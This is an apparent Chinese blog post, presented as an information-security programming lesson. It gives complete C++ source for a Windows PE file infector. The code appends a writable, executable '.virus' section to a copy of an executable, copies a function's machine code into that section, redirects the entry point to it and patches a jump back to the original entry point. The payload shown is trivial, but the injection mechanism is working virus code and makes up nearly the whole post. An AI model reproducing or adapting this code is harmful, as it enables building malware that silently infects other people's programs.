我们进行信息安全编程的时候,经常需要向exe文件插入自己的源代码,
我们如何在代码中实现呢。请见代码与注释讲解
- #include <iostream.h>
- #include <windows.h>
- #include <stdio.h>
- //
- //*******************************************************************
- //*******以下为程序代码*******
- //*******************************************************************
- //
- void VirusCode()
- {
- _asm
- {
- mov eax , 5
- }
- return;
- }
- //
- //*******************************************************************
- //*******主函数*******
- //*******************************************************************
- //
- void main()
- {
- //*******************************************************************
- //*******首先得到程序代码起始地址,结束地址,代码长度*******
- //*******************************************************************
- /
- // *******变量说明*******
- // **dwFunBegAddr :程序函数的开始地址
- // **dwFunEndAddr :程序函数的结束地址
- // **dwFunCodeLen :程序代码长度
- // **dwJmpOff :程序函数jmp区到真正入口的偏移
- // **pMove :临时的指针变量
- /
- DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
- PBYTE pMove = NULL;
- // *******首先指向程序函数的jmp指令*******
- pMove = (PBYTE)VirusCode;
- cout << "函数的jmp地址为:" << (PVOID)pMove << endl;
- // *******定位到jmp后面的偏移处*******
- pMove ++;
- // *******把偏移赋值给变量*******
- dwJmpOff = *((PDWORD)pMove);
- // *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******
- dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;
- cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;
- cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;
- // *******以下通过搜索得到函数的结束地址*******
- // *******首先把函数的入口地址赋给变量*******
- pMove = (PBYTE)dwFunBegAddr;
- // *******向后搜索,直到结尾*******
- while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
- {
- pMove ++;
- }
- // *******此时pMove指向ret前一条指令*******
- // *******pMove向后移5个字节,为程序代码的jmp指令占位*******
- pMove +=5;
- dwFunEndAddr = (DWORD)pMove;
- cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;
- // *******结束地址减去起始地址,得到代码长度*******
- dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;
- cout << "总代码长度为:" << (int)dwFunCodeLen << endl;
- //*******************************************************************
- //*******以下为在exe文件中添加程序代码*******
- //*******************************************************************
- HANDLE hFile , hMapFile;
- LPVOID pMapOfFile = NULL;
- //*******************************************************************
- //*******检测文件合法性*******
- //*******************************************************************
- // *******打开文件*******
- hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |
- FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
- if (INVALID_HANDLE_VALUE == hFile)
- {
- cout << "CreateFile Error!" << endl;
- return;
- }
- // *******创建文件映射*******
- hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
- if (!hMapFile)
- {
- cout << "CreateFileMapping Error!" << endl;
- goto CLOSEFILEHANDLE;
- }
- // *******把文件映射到内存中*******
- pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
- if (!pMapOfFile)
- {
- cout << "MapViewOfFile Error!" << endl;
- goto CLOSEMAPHANDLE;
- }
- IMAGE_DOS_HEADER *pDosHeader;
- // ********检测DOS文件头*******
- pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
- if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
- {
- cout << "Check Dos Header Error!" << endl;
- goto FreeViewOfMap;
- }
- IMAGE_NT_HEADERS *pNtHeader;
- // *******检测NT文件头*******
- pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
- if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
- {
- cout << "Check NT Header Error!" << endl;
- goto FreeViewOfMap;
- }
- //***************************************************************
- //*******准备工作*******
- //***************************************************************
- BOOL bCopy;
- // *******首先把要添加程序代码的文件复制一份*******
- bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
- if (!bCopy)
- {
- cout << "CopyFile Error!" << endl;
- }
- HANDLE hNewFile;
- // *******打开刚刚复制的文件*******
- hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ
- | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
- if (!hNewFile)
- {
- cout << "CreateFile Error!" << endl;
- goto FreeViewOfMap;
- }
- HGLOBAL pNewFileHeader;
- // *******为新文件的文件头申请一块内存,用于修改文件头信息*******
- pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
- if (!pNewFileHeader)
- {
- cout << "GlobalAlloc Error!" << endl;
- goto CloseNewFileHandle;
- }
- // *******用原文件头填充这块内存*******
- RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
- IMAGE_NT_HEADERS *pNewFileNtHeader;
- pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
- //
- //*******此时的指针信息*******
- //*******pMapOfFile : 原映射文件的开始
- //*******pDosHeader : 原映射文件的DOS头也就是文件开始,只不过类型不一样
- //*******pNTHeader : 原映射文件的NT头
- //*******pNewFileHeader : 新文件的开始
- //*******pNewFileNtHeader : 新文件的NT头
- //
- //****************************************************************
- //*******修改新文件的节表信息*******
- //****************************************************************
- int nSecNum;
- nSecNum = pNtHeader->FileHeader.NumberOfSections;
- IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
- // *******定位到原文件中的最后一个节表*******
- pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
- + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
- // *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
- pNewSec = pLastSec + 1;
- //*******修改新增节表的相关信息*******
- //*****节表总数加1*****
- pNewFileNtHeader->FileHeader.NumberOfSections ++;
- //*****修改新节的文件偏移*****
- pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
- //*****修改新节的文件尺寸*****
- int nAlignNum;
- nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
- if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
- {
- nAlignNum++;
- }
- pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
- //*****修改所有代码长度按内存页对齐后的大小*****
- nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
- if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
- {
- nAlignNum ++;
- }
- pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *
- pNewFileNtHeader->OptionalHeader.SectionAlignment;
- //*****修改文件内存映像尺寸*****
- pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *
- pNewFileNtHeader->OptionalHeader.SectionAlignment;
- //*****修改新节的内存偏移量*****
- //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
- nAlignNum = pLastSec->Misc.VirtualSize /
- pNewFileNtHeader->OptionalHeader.SectionAlignment;
- if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
- {
- nAlignNum ++;
- }
- pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
- pLastSec->VirtualAddress;
- //*****修改新节的内存尺寸*****
- pNewSec->Misc.VirtualSize = dwFunCodeLen;
- //*****更新新节属性*****
- pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |
- IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
- //*****更新节名*****
- strcpy((char*)pNewSec->Name , ".virus");
- //*****更新入口地址*****
- pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
- BOOL bWrite;
- DWORD dwHeaderSize , dwWriten;
- dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
- bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);
- //*****向文件中添加程序代码*****
- DWORD dwSetFileP;
- //*****定位到新文件中新节开始处*****
- dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
- if (!dwSetFileP)
- {
- cout << "SetFilePointer Error!" << endl;
- goto CloseNewFileHandle;
- }
- //*****写入程序代码*****
- bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
- if (!bWrite)
- {
- cout << "Write Virus Code Error!" << endl;
- goto CloseNewFileHandle;
- }
- //*****定位到文件尾部*****
- dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +
- pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
- if (!dwSetFileP)
- {
- cout << "SetFilePointer End Error!" << endl;
- goto CloseNewFileHandle;
- }
- //*****设定文件结束*****
- if (!SetEndOfFile(hNewFile))
- {
- cout << "SetEndOfFile Error!" << endl;
- goto CloseNewFileHandle;
- }
- //*******修正原入口地址*******
- PBYTE pModifyAddr;
- pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
- pModifyAddr += dwFunCodeLen;
- //printf("%x\n" , pModifyAddr);
- int nSub; //跳转的距离
- nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
- DWORD dwModifyLoca;
- dwModifyLoca = pNewSec->PointerToRawData;
- dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
- //dwModifyLoca ++;
- // *****定位到程序代码最后的五个字节处*****
- dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
- if (!dwSetFileP)
- {
- cout << "Modify Address SetFilePointer Error!" << endl;
- goto CloseNewFileHandle;
- }
- //*****修正jmp指令*****
- BYTE bJmp;
- bJmp = 0XE9;
- bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
- if (!bWrite)
- {
- cout << "Modify Address WriteFile Error!" << endl;
- goto CloseNewFileHandle;
- }
- //*****修正跳转地址*****
- bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
- if (!bWrite)
- {
- cout << "Modify Address WriteFile Error!" << endl;
- goto CloseNewFileHandle;
- }
- //****************************************************************
- //*******扫尾工作*******
- //****************************************************************
- CloseNewFileHandle:
- CloseHandle(hNewFile);
- FreeViewOfMap:
- UnmapViewOfFile(pMapOfFile);
- CLOSEMAPHANDLE:
- CloseHandle(hMapFile);
- CLOSEFILEHANDLE:
- CloseHandle(hFile);
- }
原文地址:http://blog.youkuaiyun.com/yincheng01/article/details/7214472